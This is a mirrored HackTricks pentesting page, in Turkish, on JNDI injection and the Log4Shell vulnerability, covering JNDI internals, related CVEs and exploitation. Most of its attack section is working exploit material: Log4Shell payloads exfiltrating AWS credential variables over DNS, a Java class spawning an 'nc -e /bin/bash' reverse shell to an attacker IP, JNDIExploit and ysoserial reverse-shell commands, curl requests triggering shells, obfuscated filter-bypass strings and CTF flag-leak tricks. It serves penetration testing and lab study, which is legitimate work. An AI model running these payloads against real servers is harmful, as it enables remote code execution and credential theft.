Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

34 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Temel Bilgiler

JNDI, Java'ya entegre edilmiş ve 1990'ların sonlarından beri bir dizin hizmeti olarak hizmet veren, Java programlarının veri veya nesneleri bir isimlendirme sistemi aracılığıyla bulmasını sağlayan bir arayüzdür. SPI'lar (Hizmet Sağlayıcı Arabirimleri) aracılığıyla çeşitli dizin hizmetlerini destekler ve uzak Java nesneleri de dahil olmak üzere farklı sistemlerden veri alınmasına izin verir. Ortak SPI'lar arasında CORBA COS, Java RMI Registry ve LDAP bulunur.

JNDI İsimlendirme Referansı

Java nesneleri, iki şekilde gelen JNDI İsimlendirme Referansları kullanılarak depolanabilir ve alınabilir:

  • Referans Adresleri: Bir nesnenin konumunu belirtir (örneğin, rmi://sunucu/ref), belirtilen adresten doğrudan alınmasına izin verir.
  • Uzak Fabrika: Uzak bir fabrika sınıfına referans verir. Erişildiğinde, sınıf uzak konumdan indirilir ve örneklenir.

Ancak, bu mekanizma kötüye kullanılabilir ve potansiyel olarak keyfi kod yüklenmesine ve yürütülmesine yol açabilir. Bir karşı önlem olarak:

  • RMI: JDK 7u21'den itibaren varsayılan olarak java.rmi.server.useCodeabseOnly = true, uzak nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, neyin yüklenebileceğini daha da sınırlar.
  • LDAP: JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak com.sun.jndi.ldap.object.trustURLCodebase = false, uzaktan yüklenen Java nesnelerinin yürütülmesini engeller. true olarak ayarlanırsa, Güvenlik Yöneticisinin denetimine gerek olmadan uzaktan kod yürütme mümkün olur.
  • CORBA: Belirli bir özelliği olmamakla birlikte, Güvenlik Yöneticisi her zaman etkindir.

Ancak, JNDI bağlantılarını çözen İsimlendirme Yöneticisi, yerleşik güvenlik mekanizmalarına sahip değildir ve bu da herhangi bir kaynaktan nesnelerin alınmasına izin verebilir. Bu durum, RMI, LDAP ve CORBA korumalarının atlatılmasına ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadget'lar) kötü amaçlı kod çalıştırmak için sömürülmesine yol açabilir.

Sömürülebilen URL örnekleri şunları içerir:

  • rmi://saldırgan-sunucu/bar
  • ldap://saldırgan-sunucu/bar
  • iiop://saldırgan-sunucu/bar

Koruma önlemlerine rağmen, güvenlik açıkları genellikle güvenilmeyen kaynaklardan JNDI yüklenmesine karşı koruma olmaması ve mevcut korumaların atlatılma olasılığı nedeniyle devam etmektedir.

JNDI Örneği

PROVIDER_URL ayarlamış olsanız bile, bir arama yaparken farklı bir URL belirtebilir ve erişilebilir: ctx.lookup("<saldırgan-kontrollü-url>") ve bu, bir saldırganın kendi kontrol ettiği bir sistemden keyfi nesneleri yüklemek için kötüye kullanacağı şeydir.

CORBA Genel Bakış

CORBA (Ortak Nesne İstek Broker Mimarisi), uzak nesneleri benzersiz bir şekilde tanımlamak için bir Uyumlu Nesne Referansı (IOR) kullanır. Bu referans, şunları içeren temel bilgileri içerir:

  • Tür Kimliği: Bir arayüz için benzersiz tanımlayıcı.
  • Kod Tabanı: Yer tutucu sınıfı almak için URL.

Önemli bir şekilde, CORBA temelde savunmasız değildir. Genellikle güvenliği sağlamak için şunlar yapılır:

  • Bir Güvenlik Yöneticisi kurulumu.
  • Güvenlik Yöneticisinin potansiyel olarak kötü amaçlı kod tabanlarına bağlantı izin vermesi. Bu, şunlar aracılığıyla başarılabilir:
  • Soket izni, örneğin, permissions java.net.SocketPermission "*:1098-1099", "connect";.
  • Dosya okuma izinleri, ya evrensel olarak (permission java.io.FilePermission "<<ALL FILES>>", "read";) ya da kötü amaçlı dosyaların yerleştirilebileceği belirli dizinler için.

Ancak, bazı satıcı politikaları hoşgörülü olabilir ve bu bağlantılara varsayılan olarak izin verebilir.

RMI Bağlamı

RMI (Uzak Yöntem Çağrısı) için durum biraz farklıdır. CORBA'da olduğu gibi, keyfi sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi sömürmek için genellikle Güvenlik Yöneticisini atlatmak gerekir, bu da CORBA'da da geçerlidir.

LDAP

Öncelikle, Bir Arama ile Bir Arama arasında ayrım yapmamız gerekiyor.
Bir arama, ldap://localhost:389/o=JNDITutorial gibi bir URL kullanarak bir LDAP sunucusundan JNDITutorial nesnesini bulmak ve özniteliklerini almak için kullanılır.
Bir arama, isim hizmetleri içindir çünkü bir isme bağlı olan her şeyi almak istiyoruz.

Eğer LDAP araması SearchControls.setReturningObjFlag() ile true olarak çağrıldıysa, dönen nesne yeniden oluşturulur.

Bu nedenle, bu seçeneklere saldırmak için birkaç yol vardır.
Bir saldırgan, LDAP kayıtlarını zehirleyebilir ve bunlara yüksek zararlı yükler ekleyebilir ve bu yükler, bunları toplayan sistemlerde yürütülebilir (LDAP sunucusuna erişiminiz varsa onlarca makineyi tehlikeye atmak için çok kullanışlıdır). Bunun başka bir yolunu sömürmek, örneğin bir LDAP aramasında MitM saldırısı gerçekleştirmek olabilir.

Bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, aranacak LDAP'yi kontrol edebilir ve saldırıyı geri gönderebilirsiniz (log4shell).

Serileştirme sömürüsü

Sömürü serileştirilir ve serileştirilir.
trustURLCodebase true ise, bir saldırgan kod tabanında kendi sınıflarını sağlayabilir, aksi takdirde sınıf yolundaki gadget'ları kötüye kullanması gerekecektir.

JNDI Referansı Sömürüsü

Bu LDAP'ı saldırmak için JavaFactory referanslarını kullanmak daha kolaydır:

Log4Shell Zafiyeti

Zafiyet, Log4j'de tanımlanan bir özel sözdizimi olan ${prefix:name} biçimini desteklediği için ortaya çıkar, burada prefix farklı Aramalardan biridir ve name değerlendirilmelidir. Örneğin, ${java:version} mevcut Java sürümünü temsil eder.

LOG4J2-313 bir jndi Araması özelliği tanıttı. Bu özellik, değişkenlerin JNDI aracılığıyla alınmasını sağlar. Genellikle anahtar otomatik olarak java:comp/env/ ile öne eklenir. Ancak, anahtar kendisi bir ":" içeriyorsa, bu varsayılan önek uygulanmaz.

Anahtarın içinde bir : olduğunda, ${jndi:ldap://ornek.com/a} gibi, önek yoktur ve LDAP sunucusu nesne için sorgulanır. Bu Aramalar, Log4j'nin yapılandırmasında ve satırlar günlendiğinde kullanılabilir.

Bu nedenle, yalnızca RCE'ye ihtiyaç duyulan bir Log4j sürümünün kullanıcı tarafından kontrol edilen bilgileri işlemesi gerekir. Ve çünkü bu, Java uygulamalarının (İnternet yüzeyindeki uygulamalar dahil) bilgileri günlendirmek için yaygın olarak kullandığı bir kütüphanedir, örneğin HTTP başlıklarının alındığı gibi log4j günlendirmenin çok yaygın olduğu çok yaygın bir durumdu. Ancak, log4j sadece HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girişi ve veriyi günlendirmek için kullanılmaz.

Log4Shell İlgili CVE'lerin Genel Bakışı

CVE-2021-44228 [Kritik]

Bu zafiyet, log4j-core bileşeninde kritik bir güvensiz serileştirme açığı olup, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. Uzaktan kod yürütme (RCE) sağlayarak saldırganların sistemleri ele geçirmesine olanak tanır. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından bildirilmiş olup çeşitli Apache çatıları etkilemektedir. İlk düzeltme 2.15.0 sürümünde eksikti. Savunma için Sigma kuralları mevcuttur (Kural 1, Kural 2).

CVE-2021-45046 [Kritik]

Başlangıçta düşük derecelendirilen ancak daha sonra kritik olarak yükseltilen bu CVE, CVE-2021-44228 için 2.15.0'da eksik bir düzeltmeden kaynaklanan bir Hizmet Reddi (DoS) açığıdır. Varsayılan olmayan yapıları etkiler ve saldırganların hazırlanan yükler aracılığıyla DoS saldırılarına neden olmalarına olanak tanır. Bir tweet bir atlatma yöntemini sergilemektedir. Sorun, mesaj arama desenlerini kaldırarak ve JNDI'yi varsayılan olarak devre dışı bırakarak 2.16.0 ve 2.12.2 sürümlerinde çözülmüştür.

CVE-2021-4104 [Yüksek]

JMSAppender kullanarak varsayılan olmayan yapıları etkileyen Log4j 1.x sürümlerini etkileyen bu CVE, güvensiz serileştirme açığıdır. 1.x dalı için mevcut bir düzeltme bulunmamakta olup, yaşam döngüsü sona ermiştir ve log4j-core 2.17.0'a yükseltme önerilmektedir.

CVE-2021-42550 [Orta]

Bu zafiyet, Log4j 1.x'in halefi olan Logback günlükleme çerçevesini etkilemektedir. Önceden güvenli olduğu düşünülen çerçeve, savunmasız bulunmuş ve sorunu ele almak için yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayımlanmıştır.

CVE-2021-45105 [Yüksek]

Log4j 2.16.0, bir DoS açığı içermekte olup, CVE'yi düzeltmek için log4j 2.17.0 sürümünün yayınlanmasını gerektirmiştir. Daha fazla ayrıntıya BleepingComputer'ın raporunda yer almaktadır.

CVE-2021-44832

Log4j sürüm 2.17'yi etkileyen bu CVE, saldırganın log4j yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel keyfi kod yürütme içermektedir. Daha fazla ayrıntı Checkmarx blog gönderisinde bulunmaktadır.

Log4Shell Sömürüsü

Keşif

Bu zafiyet, korumasızsa belirttiğiniz adres için en az bir DNS isteği göndereceğinden keşfetmesi çok kolaydır. Bu nedenle, şu gibi yükler:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (canarytokens.com kullanarak)
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (interactsh kullanarak)
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (Burp Suite kullanarak)
  • ${jndi:ldap://2j4ayo.dnslog.cn} (dnslog kullanarak)
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (huntress kullanarak)

Bir DNS isteği alınsa bile uygulamanın sömürülebilir (veya hatta savunmasız) olduğu anlamına gelmez, bunu sömürmeye çalışmanız gerekecektir.

{% hint style="info" %} 2.15 sürümünü sömürmek için yerel ana bilgisayar kontrol atlatmasını eklemeniz gerektiğini unutmayın: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Yerel Keşif

Kütüphanenin yerel savunmasız sürümlerini aramak için:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Doğrulama

Önce listelenen bazı platformlar, istendiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir.
Bu, 2 şey için çok yararlı olabilir:

  • Zafiyeti doğrulamak için
  • Zafiyeti istismar ederek bilgi dışarı sızdırmak için

Örneğin şöyle bir şey isteyebilirsiniz:
veya ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} gibi ve bir DNS isteği, ortam değişkeninin değeriyle alındığında, uygulamanın zafiyetli olduğunu bilirsiniz.

Denemeye çalışabileceğiniz diğer bilgiler:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Bilgisi

{% hint style="info" %} JDK sürümleri 6u141, 7u131 veya 8u121'den yüksek olan ana bilgisayarlar, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, com.sun.jndi.ldap.object.trustURLCodebase'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır, bu da JNDI'nin LDAP aracılığıyla uzak bir kod tabanını yüklemesini engeller. Bununla birlikte, bu sürümlerin serileştirme saldırı vektörüne karşı korunmadığını unutmamak önemlidir.

Bu daha yüksek JDK sürümlerini sömürmeyi amaçlayan saldırganlar için, Java uygulaması içinde bir güvenilir cihaz kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Öte yandan, daha düşük JDK sürümlerini sömürmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve yürütmek için manipüle edilebilir.

Daha fazla bilgi için (RMI ve CORBA vektörlerindeki kısıtlamalar gibi) önceki JNDI Naming Referans bölümünü kontrol edin veya https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ adresini ziyaret edin. {% endhint %}

RCE - Özel yük ile Marshalsec

Bu işlemi THM kutusunda test edebilirsiniz: https://tryhackme.com/room/solar

marshalsec aracını kullanın (jar sürümü burada mevcuttur). Bu yaklaşım, bir LDAP yönlendirme sunucusu oluşturarak bağlantıları ikincil bir HTTP sunucusuna yönlendirir ve saldırının barındırılacağı yerdir:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Hedefi ters kabuk kodunu yüklemeye zorlamak için aşağıdaki içeriğe sahip bir Exploit.java adında bir Java dosyası oluşturun:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Derleme işlemi için Java dosyasını bir sınıf dosyasına dönüştürün: javac Exploit.java -source 8 -target 8. Ardından, sınıf dosyasını içeren dizinde bir HTTP sunucusu başlatın: python3 -m http.server. marshalsec LDAP sunucusunun bu HTTP sunucusuna referans verdiğinden emin olun.

Hassas web sunucusunda exploit sınıfının yürütülmesini tetiklemek için şu şekilde bir yük gönderin:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Not: Bu açık, Java'nın LDAP aracılığıyla uzaktan kod tabanı yükleme izin veren yapılandırmasına dayanmaktadır. Bu izin verilmiyorsa, keyfi kod yürütme için güvenilen bir sınıfı sömürmeyi düşünebilirsiniz.

RCE - JNDIExploit

{% hint style="info" %} Bazı nedenlerden dolayı yazar, log4shell keşfinden sonra bu projeyi github'dan kaldırmıştır. Bir önbelleklenmiş sürümü https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 adresinde bulabilirsiniz ancak yazarın kararına saygı duymak isterseniz bu zafiyeti sömürmek için farklı bir yöntem kullanın.

Ayrıca, kaynak kodunu wayback machine'de bulamazsınız, bu nedenle ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmediğinizi bilerek jar dosyasını çalıştırın. {% endhint %}

Bu örnekte, log4shell'e karşı savunmasız web sunucusunu 8080 numaralı bağlantı noktasında çalıştırabilirsiniz: https://github.com/christophetd/log4shell-vulnerable-app (README dosyasında nasıl çalıştırılacağını bulabilirsiniz). Bu savunmasız uygulama, HTTP isteği başlığı X-Api-Version içeriğini log4shell'in savunmasız bir sürümüyle günlüyor.

Daha sonra, JNDIExploit jar dosyasını indirip şu şekilde çalıştırabilirsiniz:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Kodları sadece birkaç dakika okuduktan sonra, com.feihong.ldap.LdapServer ve com.feihong.ldap.HTTPServer içinde LDAP ve HTTP sunucularının nasıl oluşturulduğunu görebilirsiniz. LDAP sunucusu, hangi yükün hizmet edilmesi gerektiğini anlayacak ve kurbanı HTTP sunucusuna yönlendirecek, bu da saldırıyı gerçekleştirecektir.
com.feihong.ldap.gadgets içinde kullanılabilecek bazı belirli cihazlar bulabilirsiniz (potansiyel olarak keyfi kod yürütmek için). Ve com.feihong.ldap.template içinde saldırıları oluşturacak farklı şablon sınıflarını görebilirsiniz.

Tüm mevcut saldırıları java -jar JNDIExploit-1.2-SNAPSHOT.jar -u ile görebilirsiniz. Bazı faydalı olanlar:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Yani, örneğimizde zaten o açık docker uygulaması çalışıyor. Ona saldırmak için:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Atakları gönderirken, JNDIExploit-1.2-SNAPSHOT.jar dosyasını çalıştırdığınız terminalde bazı çıktılar göreceksiniz.

Diğer saldırı seçeneklerini kontrol etmek için java -jar JNDIExploit-1.2-SNAPSHOT.jar -u komutunu hatırlayın. Ayrıca, ihtiyaç duyarsanız LDAP ve HTTP sunucularının portunu değiştirebilirsiniz.

Uzaktan Kod Çalıştırma (RCE) - JNDI-Exploit-Kit

Önceki saldırıyla benzer bir şekilde, bu zafiyeti sömürmek için JNDI-Exploit-Kit kullanabilirsiniz.
Kurban'a göndermek için URL'leri oluşturabilirsiniz:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Bu saldırı, özel olarak oluşturulmuş bir java nesnesini kullanarak THM solar room gibi laboratuvarlarda çalışacaktır. Bununla birlikte, genel olarak çalışmayacaktır (çünkü Java varsayılan olarak LDAP kullanarak uzak kod tabanını yükleme şeklinde yapılandırılmamıştır) çünkü güvenilen bir sınıfı kötüye kullanarak keyfi kod yürütmüyor gibi görünüyor.

Uzaktan Kod Çalıştırma (RCE) - JNDI-Enjeksiyon-Sömürü-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus çalışabilir JNDI bağlantıları oluşturmak için başlangıçta RMI sunucusu, LDAP sunucusu ve HTTP sunucusu başlatarak arka plan hizmetleri sağlayan başka bir araçtır.

Uzaktan Kod Çalıştırma (RCE) - ysoserial ve JNDI-Sömürü-Seti

Bu seçenek, yalnızca belirli sınıflara güvenen Java sürümlerini hedef almak için gerçekten kullanışlıdır ve herkese güvenmez. Bu nedenle, ysoserial, güvenilen sınıfların serileştirilmesini oluşturmak için kullanılacaktır ve bu serileştirmeler, keyfi kod yürütmek için kullanılabilecek araçlar olarak kullanılabilir (ysoserial tarafından kötüye kullanılan güvenilen sınıf, saldırının çalışabilmesi için kurban java programı tarafından kullanılmalıdır).

ysoserial veya ysoserial-modified kullanarak JNDI tarafından indirilecek olan deserializasyon saldırısını oluşturabilirsiniz:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Kullanarak JNDI-Exploit-Kit kullanarak JNDI bağlantıları oluşturun, bu bağlantılar zafiyetli makinelerden gelen bağlantıları bekleyecektir. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulan farklı exploit'leri veya hatta kendi serileştirme yüklerinizi (siz veya ysoserial tarafından oluşturulan) sunabilirsiniz.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Artık zafiyeti sömürmek ve bir ters kabuk elde etmek için oluşturulan JNDI bağlantısını kolayca kullanabilirsiniz: ${ldap://10.10.14.10:1389/generated}

Atlatmalar

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Otomatik Tarayıcılar

Test Etmek İçin Labaratuvarlar

Log4Shell Sömürü Sonrası

Bu CTF yazısında, Log4J'nin bazı özelliklerinin potansiyel olarak istismar edilebileceği nasıl açıklandığı iyi bir şekilde açıklanmıştır.

Log4j'nin güvenlik sayfası ilginç cümleler içermektedir:

Java 8 için 2.16.0 sürümünden itibaren mesaj aramaları özelliği tamamen kaldırılmıştır. Yapılandırmadaki aramalar hala çalışır. Ayrıca, Log4j artık varsayılan olarak JNDI erişimini devre dışı bırakır. Yapılandırmadaki JNDI aramalarının açıkça etkinleştirilmesi gerekir.

2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), yapılandırmadaki yalnızca arama dizeleri özyinelemeli olarak genişletilir; diğer herhangi bir kullanımda, yalnızca üst düzey arama çözülür ve herhangi bir iç içe arama çözülmez.

Bu, varsayılan olarak herhangi bir jndi istismarını kullanamayacağınızı gösterir. Dahası, özyinelemeli aramaları gerçekleştirmek için bunları yapılandırmanız gerekir.

Örneğin, bu CTF'de bu log4j2.xml dosyasında yapılandırılmıştı:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Ortam Aramaları

Bu CTF sırasında saldırgan ${sys:cmd} değerini kontrol ediyordu ve bayrağı bir ortam değişkeninden dışarı çıkarması gerekiyordu. Bu sayfada önceki yüklerde görüldüğü gibi, ${env:FLAG} gibi farklı yollarla ortam değişkenlerine erişmek mümkündür. Bu CTF'de bu işe yaramadı ancak diğer gerçek hayat senaryolarında işe yarayabilir.

İstisnalarda Dışarıya Veri Sızdırma

CTF'de, log4J kullanarak java uygulamasının stderr'ına erişemediniz, ancak Log4J istisnaları stdout'a gönderilir, bu da python uygulamasında yazdırılır. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına gelir. Bayrağı dışarıya sızdırmak için bir istisna: ${java:${env:FLAG}}. Bu, ${java:CTF{blahblah}} mevcut olmadığı için çalışır ve bayrağın değeriyle bir istisna gösterilir:

Dönüşüm Desenleri İstisnaları

Sadece belirtmek gerekirse, yeni dönüşüm desenleri enjekte edebilir ve stdout'a kaydedilecek istisnaları tetikleyebilirsiniz. Örneğin:

Bu, hata mesajı içindeki tarihi dışarıya sızdırmak için yararlı bulunmadı, çünkü arama, dönüşüm deseninden önce çözülmedi, ancak algılama gibi diğer şeyler için yararlı olabilir.

Dönüşüm Desenleri Regexler

Ancak, bazı regexleri destekleyen dönüşüm desenleri kullanarak, binary search veya zamana dayalı davranışları kötüye kullanarak bir aramadan bilgi dışarıya sızdırmak mümkündür.

  • İstisna mesajları aracılığıyla binary arama

Dönüşüm deseni %replace bir dizgiden içeriği değiştirmek için regexleri kullanabilir. Şöyle çalışır: replace{pattern}{regex}{substitution}
Bu davranışı kötüye kullanarak, eğer regex, dize içinde herhangi bir şeyi eşleşirse bir istisna tetikleyebilirsiniz (eğer bulunamazsa istisna olmaz) şöyle:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Zamana bağlı

Önceki bölümde belirtildiği gibi %replace, regexleri destekler. Bu nedenle, bayrağın bulunduğu durumda bir zaman aşımı oluşturmak için ReDoS sayfasından bir yükleme kullanmak mümkündür.
Örneğin, %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} gibi bir yükleme, o CTF'de bir zaman aşımı tetikleyebilir.

Bu yazıda, ReDoS saldırısı yerine yanıtta bir zaman farkı oluşturmak için bir amplifikasyon saldırısı kullanıldı:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Eğer bayrak flagGuess ile başlıyorsa, tüm bayrak 29 # ile değiştirilir (Bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). Sonuç olarak elde edilen 29 #'den her biri ardışık olarak 54 # ile değiştirilir. Bu işlem 6 kez tekrarlanır, toplamda 29*54*54^6* =`` ``96816014208 # oluşur!

Bu kadar çok #'nin değiştirilmesi, Flask uygulamasının 10 saniyelik zaman aşımını tetikleyecek ve bunun sonucunda kullanıcıya HTTP durum kodu 500 gönderilecektir. (Eğer bayrak flagGuess ile başlamıyorsa, 500 olmayan bir durum kodu alacağız)

Referanslar

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: